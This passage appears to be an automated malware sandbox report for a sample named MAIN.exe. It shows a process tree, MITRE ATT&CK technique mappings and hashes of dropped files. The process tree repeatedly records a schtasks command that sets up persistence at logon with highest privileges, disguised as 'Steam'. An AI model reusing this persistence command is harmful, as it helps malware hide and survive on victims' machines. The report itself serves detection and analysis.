        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        16⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        15⤵
        
        PID:6120
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        14⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        13⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        12⤵
        
        PID:5320
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        11⤵
        
        PID:4860
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        10⤵
        
        PID:3740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"' & exit
        11⤵
        
        PID:6872
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"'
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp35A1.tmp.bat""
        11⤵
        
        PID:5348
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        12⤵
        Delays execution with timeout.exe
        
        PID:6928
        
        C:\Users\Admin\AppData\Roaming\Steam.exe
        
        "C:\Users\Admin\AppData\Roaming\Steam.exe"
        12⤵
        
        PID:3516
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3392
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"' & exit
        8⤵
        
        PID:2756
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"'
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEB2B.tmp.bat""
        8⤵
        
        PID:1724
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        9⤵
        Delays execution with timeout.exe
        
        PID:5488
        
        C:\Users\Admin\AppData\Roaming\Steam.exe
        
        "C:\Users\Admin\AppData\Roaming\Steam.exe"
        9⤵
        
        PID:5908
      - C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3232
    - - C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4252
  - - C:\Users\Admin\AppData\Local\Temp\MAIN.exe
      "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4860
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"' & exit
        5⤵
        
        PID:4952
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4764
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD736.tmp.bat""
        5⤵
        
        PID:3352
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4584
      - C:\Users\Admin\AppData\Roaming\Steam.exe
        
        "C:\Users\Admin\AppData\Roaming\Steam.exe"
        6⤵
        
        PID:5788
- - C:\Users\Admin\AppData\Local\Temp\MAIN.exe
    "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:740
- C:\Users\Admin\AppData\Local\Temp\MAIN.exe
  "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:864
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCB4F.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:932
  - - C:\Users\Admin\AppData\Roaming\Steam.exe
      "C:\Users\Admin\AppData\Roaming\Steam.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3424

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4912

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffd329acc40,0x7ffd329acc4c,0x7ffd329acc58
  2⤵
  PID:3248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1812,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1808 /prefetch:2
  2⤵
  PID:2772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1376,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2136 /prefetch:3
  2⤵
  PID:5656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2196,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2212 /prefetch:8
  2⤵
  PID:6752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:5036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3136,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:6116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4444,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4336 /prefetch:1
  2⤵
  PID:4948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4612,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4608 /prefetch:8
  2⤵
  PID:6612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4792,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4772 /prefetch:1
  2⤵
  PID:6456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4884,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:3396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3480,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4916 /prefetch:8
  2⤵
  PID:4872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4632,i,6852521431007587473,16677549001143726852,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3456 /prefetch:8
  2⤵
  PID:6692

C:\Windows\System32\pcaui.exe
C:\Windows\System32\pcaui.exe -n 0 -a "" -v "" -g "" -x ""
1⤵
PID:1924

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
d4cb3f81d7635d40372f6a44532c73ad

SHA1
aa2323a606a5f3fa6f41272b3e479997c66809f6

SHA256
79311c7e97e63373fd521f17b3220e1a366f3bae93f05bc17a096b27c3f0369d

SHA512
fd9949d3089617e02055edb2a3e4ec3dd581d6b8632474a32aba8d3c42f4a4445fd9f9b9f97ee5cbe7d2d546a37dfc4b728284935b14f201312a8faaee7f2165

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

Filesize
209KB

MD5
3e552d017d45f8fd93b94cfc86f842f2

SHA1
dbeebe83854328e2575ff67259e3fb6704b17a47

SHA256
27d9c4613df7a3c04da0b79c13217aa69992b441acb7e44bf2a7578ca87d97d6

SHA512
e616436f2f15615429c7c5c37de3990c3e86c5e1da7d75a0f524fc458b75d44a5be1a3648a628d63e1cf8aa062e08b538f2f2bc9c6a0b42157beb24f82c571d9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
216B

MD5
00dd77d97e0b5aa72b97b04a423e4da5

SHA1
44809006cb9b3b957391edd99ba164e6e5a46862

SHA256
869b5100a52b353ea5b261f5186a4f5cebadb516ba00699620110656d0cfec8f

SHA512
4abeacbf0e42a942605af8ecc61b5e52dc9a19362ab5465f00f99c183d8fe98a4c9096eaf61e5dc982169e8b0593ef354f1a772fc1180b5097eb03054bf4d64e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
a679c9539c27eb6dc8a59641d4a92eae

SHA1
11b5cdbce7233c764c5aea1f36374a471ce51303

SHA256
be3a11a4b132d8b78a9c455bb8a7dab7e4f74991c510d4783281ce2fb74e2c8c

SHA512
d1f5c96f00eca8f73bbda9eb98908d130d247b6eea2d3818b511bd7cb7429adc7eb854544bd2e695ebdc3c2812b15f91996b270a9f5c09d5bbb1880c5ebcc484

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
354B

MD5
a389faeb4e4a18b3531a3699132d0678

SHA1
c1e1c84b05d5a2a43ea52e5d8d1b94c5bfb5edf9

SHA256
f4a8996afaa715a798c1338445f8e63b856d1422fa1ab3a75da0f500d25a9020

SHA512
6e7683e1be5273a351f62682a333d2451dabfe61aa922ad01c13851e37559129b32a518b296435493f58a196618bfca65c26139d75cb6756f82ad979890e42ed

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
586c5eaa6e5082d91a59c9a44f020943

SHA1
f3e3a9e1093b7700ec7efb4c5eaa3c042e8a925e

SHA256
4897fde5b74211763ff72bc2966cefbb94d472bf3c1a3f09b767b3f38049a75e

SHA512
4982d95cc627684365e67766d805cbe0f41118e60bf5656a2956c21ff7475760ecbd3314bd7b54c4d46308b0b32acc0959441945e6ffb076318518924f7fdb69

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
cc8274d6fd5f6063c4aba08f14e01996

SHA1
d2fe4e560c3416a32874d6c869aa6df03fb7a7a1

SHA256
095b5f8d5637621ade88283002ea2b6cdae5b61d29157e3105a6bb8006a24554

SHA512
0c9202bc583c14562809a629116ac7bd87a0a8e0fdb9b2c8cc14bbc50059d654b2a55f0ae7724f7733c86bf433861da0412ea85af3f2800804c63f50d69eb820

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
e14e45503a62f3e72a24111c2b978a67

SHA1
ce68708f2073555732535cc07a7db858df0fa20c

SHA256
23bd64c00c50d80184725e17233fa26736e67e056f91519946bbc2d19b89166c

SHA512
4efdbfcb03032af692a4b88df01207291a716b766639b5f0e5b06648b865fdb6b159ffc43c53b93e8a5daff21cfd6731655a36dc9890fc5f82a5b98a7b8ad583

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
c6ed2615b1658f97ef031bbabc719621

SHA1
8bef0fa9dbaed62ba84f5c3b340e7f066000f3b1

SHA256
18284f6138200aa20c110d84c3e057bad13957231b59a25b8863d44953a7ec3f

SHA512
95c62bd30bafaa896b2401dd7fcdb4326588924fd812857b487c075e2090cf9ec74d28496abb5a8db1b4503c797a00e77c29714fce7fcc54a67ee3ac6d419daa

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
ff518e4c25e812767e84ea3101a47dc4

SHA1
905aca2738d9f4dc2039d96836da16c03ea65c36

SHA256
89c29409c4ec99c47824bc685100a7eb0cb53e6dc6e071c79b0f93d4ba26e5d5

SHA512
e70fc8bbc62d6fccd0327dd4dea1d7a750248895ae29afbecfb235de66290a7461089877a7164fc1f133b7e5fba981e6a43d777ffc1ba64fab19727b9eeaf885

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
201KB

MD5
18d2134fe3a991c46f5b62498bd734f8

SHA1
3a227192f40fe0b2624a30deeacdaaf2c229ee83

SHA256
cae6f970a57fb6f63540554b4cf0327b6c53a70da300f17cb60065f695f42e02

SHA512
018bb18aae4bb506bc7cfc21c9ea9b20b59807496e96d1d47bbba8accfd65e17176cf25e351b645f86ee96cd4d131fae0e5ea1968d714477b7f163e61bb42aea

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
0cfb8db33cd47280166dd2a78137b4b1

SHA1
4a5633220a73a77b528b4baed7998baf6fab9f55

SHA256
8e6d5355d8781f540407d947231dc49b63ea3d6fad279dee73129f03dab60575

SHA512
070fd580bcf9441d59c2ffa705ed9d23bebe7f400a8efb4017821fe605e6c6be5dd0614b0327ec58e322ee4aa85fa737dbd438c7329c878138d78e0d8809bb7f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
201KB

MD5
3409ede909189a378438e341d26b0806

SHA1
5d0ac2359df6eaff97551c603aeb50c78ad39880

SHA256
02e235b58698208840e1d2e7d298b3f9907a7b03ad3b4041c60d66ec77a52946

SHA512
b5ee1dffc2afc0cc0e7989185edb96ee2c88a9b2262fc32932e685cc463ec2f15c7095d97206de1e653e78ee97ff935adae17fa8a9a4446af037c44b959f452e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1

Filesize
264KB

MD5
079d5d3d351ab30b54c201ab886cbebf

SHA1
cb940c51e4be649df8ef17f43e742b85e9fbd72c

SHA256
9d6291df54e6b765ea89816e240996c836e97846f97477bf232b9248bf53e70f

SHA512
79f26e05b4718eccddf077d0ceabc5cb8716a9bf490ec314c2e2307d972877deeb70ecb2ee0287c5eaac902711979af1518455f61bac895103feed93f62306fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MAIN.exe.log

Filesize
1KB

MD5
b4e91d2e5f40d5e2586a86cf3bb4df24

SHA1
31920b3a41aa4400d4a0230a7622848789b38672

SHA256
5d8af3c7519874ed42a0d74ee559ae30d9cc6930aef213079347e2b47092c210

SHA512
968751b79a98961f145de48d425ea820fd1875bae79a725adf35fc8f4706c103ee0c7babd4838166d8a0dda9fbce3728c0265a04c4b37f335ec4eaa110a2b319

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ac4917a885cf6050b1a483e4bc4d2ea5

SHA1
b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f

SHA256
e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9

SHA512
092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
60KB

MD5
535b473ec3e9c0fd5aad89062d7f20e8

SHA1
c900f90b3003452b975185c27bfb44c8f0b552c4

SHA256
f6bb190101537e41901392fb690045c5bf1cddaa954630e57c5d0b3410b2d6b0

SHA512
33f286b06e9198ca8ae5225c7796f0f176282e2386fa93a2450e1a65cdb235932ef8a0a778f6b16945f1496a5e12e3ba6e3905f02a47a9cbb92e14448f463c86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
bfe003e24813422a5b8f800578ee93fc

SHA1
ed5c3203666f4a1d2a801453ee473f0a3b4ae7e7

SHA256
fed7fc06c0db0f5187299153af4f1b0cd1154ec14ac3ea7be9b5232e47d4858e

SHA512
a1bfe569b48146acc5bca2a185d8338f09bbb5192e284a64fd2c0f0ab79d2c4c0cc2078427c0df96c874205ae6bd5e30f7298cf943d852fed0918bb431c8bc42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
92c81498ef10a4a65329e8b2fc03f519

SHA1
fc887096bcc53aae5c8c0256f92ce10d35776ab7

SHA256
dd57fc5770b30a74de0d10afec9fd79320b773ab0443a253732bfd90a192085e

SHA512
1da70282397e6bfded36eb268773bba05f4dc10e76ac51e37480d0370ec1163cfd891f492be18f86cba5fc3f3b9233ecfd27e28e480ffb610e41e952d85b4620

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
d8fe87b54483ba76d7d1c0b2bf3b0063

SHA1
b5f81a889a87988eb490a5a3e7676e8b27dc09e1

SHA256
368414dddfbe5c62824da8b4403c047c47e153319181ecb63e55d7e0dc29ece3

SHA512
0b7e1a8c0eec181b0948dc2068f1b2d06c07dcb4b9c9d27d0b300296a6c1968fac118d5e0c75ddfd6634c91242a6eb6f6f83202b5b42c368f631751fbb6df750

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
98be080edaa4237f8b26effd3263ac6d

SHA1
b4f01deeecf4942717b4423daeb388d602efc58e

SHA256
32fd693049afc370d4e8df3d086008c308868e7d5c48d30f545802a49d84c24c

SHA512
950dc7e836d96d87502308528ad8ea59f6a88a1ad38fce3bcb2a1e2032ea82c5159ee45f97eeccbb54f846296ca7f83a7348584b0415a20573e90bfe5108027a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
80e57960e686753bff42e526eb540137

SHA1
99a65f4107b3123587579dc062bc6063bbfeee73

SHA256
d6cf46acf127305893dcfece91ad1ce68b92b001809e19457bcdb13d9f1d9c96

SHA512
b35e26eac569f346fa5a9d9a728a14835dc093847d5fece331c36ce05cff2a7287f0814817260dff1ff1b1c5ef365f52219bfced6ded24037b03c6990aca6083

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c53e40a24de52eee9c5f76256a83625a

SHA1
e9a75f9e3639ca05abcfbf5add2ae47fdbe0a566

SHA256
b5871bbb3b97b8d0d0f9171f9e293047bb2bb6cfa666a4a18ff34f06c556985d

SHA512
dc53474f95cb01915e8521fa361371f12c7b8e334171fdaa6a4c402c97aa809ddacd940a291f68d6e9b910b8ba6d9e6ed035cf7a5adeb4a683cfde62c3e2d907

Download Submit
C:\Users\Admin\AppData\Local\Temp\MAIN.exe

Filesize
74KB

MD5
b8ccfc163e2d56a73b6fd7387a45e6eb

SHA1
f81a368c275574fa808a92d29c5e0b37e01162ce

SHA256
8386fa61b6c5f873c692fbd3b394851ec714e5c852898ef6f622035e4d3d5e84

SHA512
8ea7d2ee4fa1f737e7c77dda98963a1c9d3a3276ab0d0d327b5df41682da91996e2e17cbfdb99ddf9399a819c6ec9cdde18b6a8fe6cf221960103b34acb21faf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rhoadyo2.hdq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp35A1.tmp.bat

Filesize
149B

MD5
0c56e6cf38c1e93467fa699668141bd2

SHA1
e3a261d225b464c69a51864b568d8ffaf30637a4

SHA256
5b1d78cdc99e99b27d52af3574895de284ca036dec0a8ca9021008b49f70173a

SHA512
4d670c548f632e3f15bb81d0914dd9ee682e5cf135fb2122ec67f9b9021de8a6d21775f7458211fa5a0f7df5cffe64164d39d2bc45b61f0a13fd3ad21be6003b

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCB4F.tmp.bat

Filesize
149B

MD5
b93c9c609d50815253b36cb26833b388

SHA1
00dadd6cf95e8d1426420c172dacd6fa520c3ddd

SHA256
b5033eff2c4d47fc414842aaf1d66f7434453c594b608f9a1c32cb197db867e1

SHA512
69c3516dccc5ee0c7fdc309761c32243eed34ab3c3b06611655b5677e94fb1bd5ba159680fe478d7e3492d159485cf6428d0cd3eb387467f3362f845b3d9eca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpD736.tmp.bat

Filesize
149B

MD5
f15c7e8c5469a8b0056aa414f2486d72

SHA1
21197eba883df749d7875b29207ce67e9bedfd25

SHA256
1f8e2486b4d6ef723211f43cec0c9471eb4feb42db84e247b537dfbfeea605a2

SHA512
3cbfe4d7c47f8920f63fb6cb13f645bffde9907e9d8909f063819800653eb7e2e7dc49a780d98ecc4f946e13ffb64cbad384c9fd977ad899feb1dae4d4708061

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEB2B.tmp.bat

Filesize
149B

MD5
6b7999bc81eface23da3efaf3f9e6d1e

SHA1
6ec78cccb9b84f86acdf23cf6192f0ea6b51c7ab

SHA256
1745f299e96a10c85892bb5c07ba454453ac9ef8d70cbb128f7fa8b45e3b9eac

SHA512
1d91700fa518942341749073833d378ef2b83200d9e4c0611c0a53ac17f322099fb9f6860d1694a0a5d72a356c2c30003994010b70a0e8209319fe1f32b04c9a

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/436-219-0x0000000075050000-0x000000007509C000-memory.dmp

Filesize
304KB

Download
memory/444-251-0x0000000075050000-0x000000007509C000-memory.dmp

Filesize
304KB

Download
memory/1088-233-0x0000000075050000-0x000000007509C000-memory.dmp

Filesize
304KB

Download
memory/1676-76-0x0000000075050000-0x000000007509C000-memory.dmp

Filesize
304KB

Download
memory/1676-100-0x0000000007B20000-0x0000000007B2A000-memory.dmp

Filesize
40KB

Download
memory/1676-159-0x0000000073C70000-0x0000000074421000-memory.dmp

Filesize
7.7MB

Download
